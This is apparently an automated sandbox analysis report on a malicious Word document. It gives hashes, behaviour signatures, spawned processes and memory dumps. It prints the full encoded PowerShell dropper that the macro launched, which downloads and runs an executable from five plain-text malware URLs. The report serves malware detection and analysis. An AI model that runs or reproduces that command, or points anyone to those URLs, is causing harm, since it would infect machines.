Analysis

  • max time kernel
    141s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/05/2024, 08:33

General

  • Target

    6a5a83e544a8e46bd5e40213b6d02588_JaffaCakes118.doc

  • Size

    232KB

  • MD5

    6a5a83e544a8e46bd5e40213b6d02588

  • SHA1

    d5d50f7318e95577d282edb8cd6c1abec83984bf

  • SHA256

    dcfeb8f43216d94740da452748b13916d63aa9e14e43f1c2681cbc15111a8044

  • SHA512

    cb1a0a5b762b08da1fd84058b224ff754d58036bf1a212fc0d8ba4afe63f70a2d8cd1bc78169089e099a50fa820f06447a7f4368969e29123f54cb9f086bac9d

  • SSDEEP

    3072:Aj6yw1MgpQiBhGWb6esLbTh8YuyDRBFtdfGk1S2FpHwRyDRz:AHgtEWPsL/aTyT9Gks2rHwRyDRz

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://rochelldiy.com/ucigm/d_8_kv/

exe.dropper

http://sh.m.sxhpyy.com/special/c_eh6r_m97/

exe.dropper

http://hx.sxheping120.com/zt/ixq_vc2ru_xv6/

exe.dropper

http://tf.sxhpyy120.com/a/k_q_wc6o2/

exe.dropper

http://selectadrive.nl/wp-admin/ek_yve_bgtxm/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6a5a83e544a8e46bd5e40213b6d02588_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3996
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABCAHIANQA3AGwAawBrAD0AJwBHAGoAZgBwAHoAdwBpACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAEMAVQBgAFIAaQBgAFQAWQBwAHIAbwBgAFQAbwBDAGAATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARgB4AHYAagBoAF8AZQAgAD0AIAAnAEUAYgB5AHoAJwA7ACQATAAwAGIAbQB1AG0AdQA9ACcARwBkAGUAZwAxAHcAZAAnADsAJABBAGsAdABnADUAcQB1AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAnAFwAJwArACQARgB4AHYAagBoAF8AZQArACcALgBlAHgAZQAnADsAJABWAGQAdwAyAF8AYwA5AD0AJwBIAGUAZwB4AG8AbwBoACcAOwAkAFYAYQA2AGIAcgA5AGYAPQAuACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4ARQBUAC4AVwBlAGIAQwBMAGkAZQBuAHQAOwAkAFUAZQBoADMAagA1AG0APQAnAGgAdAB0AHAAOgAvAC8AcgBvAGMAaABlAGwAbABkAGkAeQAuAGMAbwBtAC8AdQBjAGkAZwBtAC8AZABfADgAXwBrAHYALwAqAGgAdAB0AHAAOgAvAC8AcwBoAC4AbQAuAHMAeABoAHAAeQB5AC4AYwBvAG0ALwBzAHAAZQBjAGkAYQBsAC8AYwBfAGUAaAA2AHIAXwBtADkANwAvACoAaAB0AHQAcAA6AC8ALwBoAHgALgBzAHgAaABlAHAAaQBuAGcAMQAyADAALgBjAG8AbQAvAHoAdAAvAGkAeABxAF8AdgBjADIAcgB1AF8AeAB2ADYALwAqAGgAdAB0AHAAOgAvAC8AdABmAC4AcwB4AGgAcAB5AHkAMQAyADAALgBjAG8AbQAvAGEALwBrAF8AcQBfAHcAYwA2AG8AMgAvACoAaAB0AHQAcAA6AC8ALwBzAGUAbABlAGMAdABhAGQAcgBpAHYAZQAuAG4AbAAvAHcAcAAtAGEAZABtAGkAbgAvAGUAawBfAHkAdgBlAF8AYgBnAHQAeABtAC8AJwAuACIAUwBgAFAATABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABaADkANABkAHAAcgBtAD0AJwBUAHkAaABmAGYAXwAxACcAOwBmAG8AcgBlAGEAYwBoACgAJABEADUANgBmAG0AeQAwACAAaQBuACAAJABVAGUAaAAzAGoANQBtACkAewB0AHIAeQB7ACQAVgBhADYAYgByADkAZgAuACIAZABPAFcATgBsAE8AYQBEAGAARgBgAGkAbABlACIAKAAkAEQANQA2AGYAbQB5ADAALAAgACQAQQBrAHQAZwA1AHEAdQApADsAJABOAG0AbQAwAG0AaQBoAD0AJwBBAHEAYgBwAGYAOABpACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAQQBrAHQAZwA1AHEAdQApAC4AIgBsAGAARQBgAE4ARwB0AEgAIgAgAC0AZwBlACAAMwA2ADgANQA1ACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2AG8AawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAEEAawB0AGcANQBxAHUAKQA7ACQAVgBnADMANABhAHEAbgA9ACcAUABhAG0ANgA0AHAAbQAnADsAYgByAGUAYQBrADsAJABDAGUAYwBjAGoAMAAyAD0AJwBMAGQAXwBxADgANgA1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEoAawBsADQAMABqAHMAPQAnAFoAaAAxAGkANgB0AGkAJwA=
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1964

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\TCDA29F.tmp\gb.xsl

          Filesize

          262KB

          MD5

          51d32ee5bc7ab811041f799652d26e04

          SHA1

          412193006aa3ef19e0a57e16acf86b830993024a

          SHA256

          6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

          SHA512

          5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5dlouer2.whj.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/1964-73-0x00000263AE130000-0x00000263AE152000-memory.dmp

          Filesize

          136KB

        • memory/3996-19-0x00007FF9BA690000-0x00007FF9BA885000-memory.dmp

          Filesize

          2.0MB

        • memory/3996-16-0x00007FF9BA690000-0x00007FF9BA885000-memory.dmp

          Filesize

          2.0MB

        • memory/3996-6-0x00007FF9BA690000-0x00007FF9BA885000-memory.dmp

          Filesize

          2.0MB

        • memory/3996-5-0x00007FF97A710000-0x00007FF97A720000-memory.dmp

          Filesize

          64KB

        • memory/3996-7-0x00007FF9BA690000-0x00007FF9BA885000-memory.dmp

          Filesize

          2.0MB

        • memory/3996-8-0x00007FF9BA690000-0x00007FF9BA885000-memory.dmp

          Filesize

          2.0MB

        • memory/3996-9-0x00007FF9BA690000-0x00007FF9BA885000-memory.dmp

          Filesize

          2.0MB

        • memory/3996-12-0x00007FF9BA690000-0x00007FF9BA885000-memory.dmp

          Filesize

          2.0MB

        • memory/3996-11-0x00007FF9BA690000-0x00007FF9BA885000-memory.dmp

          Filesize

          2.0MB

        • memory/3996-13-0x00007FF978570000-0x00007FF978580000-memory.dmp

          Filesize

          64KB

        • memory/3996-21-0x00007FF978570000-0x00007FF978580000-memory.dmp

          Filesize

          64KB

        • memory/3996-10-0x00007FF9BA690000-0x00007FF9BA885000-memory.dmp

          Filesize

          2.0MB

        • memory/3996-15-0x00007FF9BA690000-0x00007FF9BA885000-memory.dmp

          Filesize

          2.0MB

        • memory/3996-17-0x00007FF9BA690000-0x00007FF9BA885000-memory.dmp

          Filesize

          2.0MB

        • memory/3996-20-0x00007FF9BA690000-0x00007FF9BA885000-memory.dmp

          Filesize

          2.0MB

        • memory/3996-0-0x00007FF97A710000-0x00007FF97A720000-memory.dmp

          Filesize

          64KB

        • memory/3996-3-0x00007FF9BA72D000-0x00007FF9BA72E000-memory.dmp

          Filesize

          4KB

        • memory/3996-18-0x00007FF9BA690000-0x00007FF9BA885000-memory.dmp

          Filesize

          2.0MB

        • memory/3996-14-0x00007FF9BA690000-0x00007FF9BA885000-memory.dmp

          Filesize

          2.0MB

        • memory/3996-27-0x00007FF9BA690000-0x00007FF9BA885000-memory.dmp

          Filesize

          2.0MB

        • memory/3996-28-0x00007FF9BA690000-0x00007FF9BA885000-memory.dmp

          Filesize

          2.0MB

        • memory/3996-48-0x00007FF9BA690000-0x00007FF9BA885000-memory.dmp

          Filesize

          2.0MB

        • memory/3996-4-0x00007FF97A710000-0x00007FF97A720000-memory.dmp

          Filesize

          64KB

        • memory/3996-1-0x00007FF97A710000-0x00007FF97A720000-memory.dmp

          Filesize

          64KB

        • memory/3996-92-0x00007FF9BA690000-0x00007FF9BA885000-memory.dmp

          Filesize

          2.0MB

        • memory/3996-2-0x00007FF97A710000-0x00007FF97A720000-memory.dmp

          Filesize

          64KB

        • memory/3996-525-0x00007FF9BA690000-0x00007FF9BA885000-memory.dmp

          Filesize

          2.0MB

        • memory/3996-553-0x00007FF9BA690000-0x00007FF9BA885000-memory.dmp

          Filesize

          2.0MB

        • memory/3996-563-0x00007FF9BA690000-0x00007FF9BA885000-memory.dmp

          Filesize

          2.0MB

        • memory/3996-594-0x00007FF97A710000-0x00007FF97A720000-memory.dmp

          Filesize

          64KB

        • memory/3996-593-0x00007FF97A710000-0x00007FF97A720000-memory.dmp

          Filesize

          64KB

        • memory/3996-595-0x00007FF97A710000-0x00007FF97A720000-memory.dmp

          Filesize

          64KB

        • memory/3996-596-0x00007FF97A710000-0x00007FF97A720000-memory.dmp

          Filesize

          64KB

        • memory/3996-597-0x00007FF9BA690000-0x00007FF9BA885000-memory.dmp

          Filesize

          2.0MB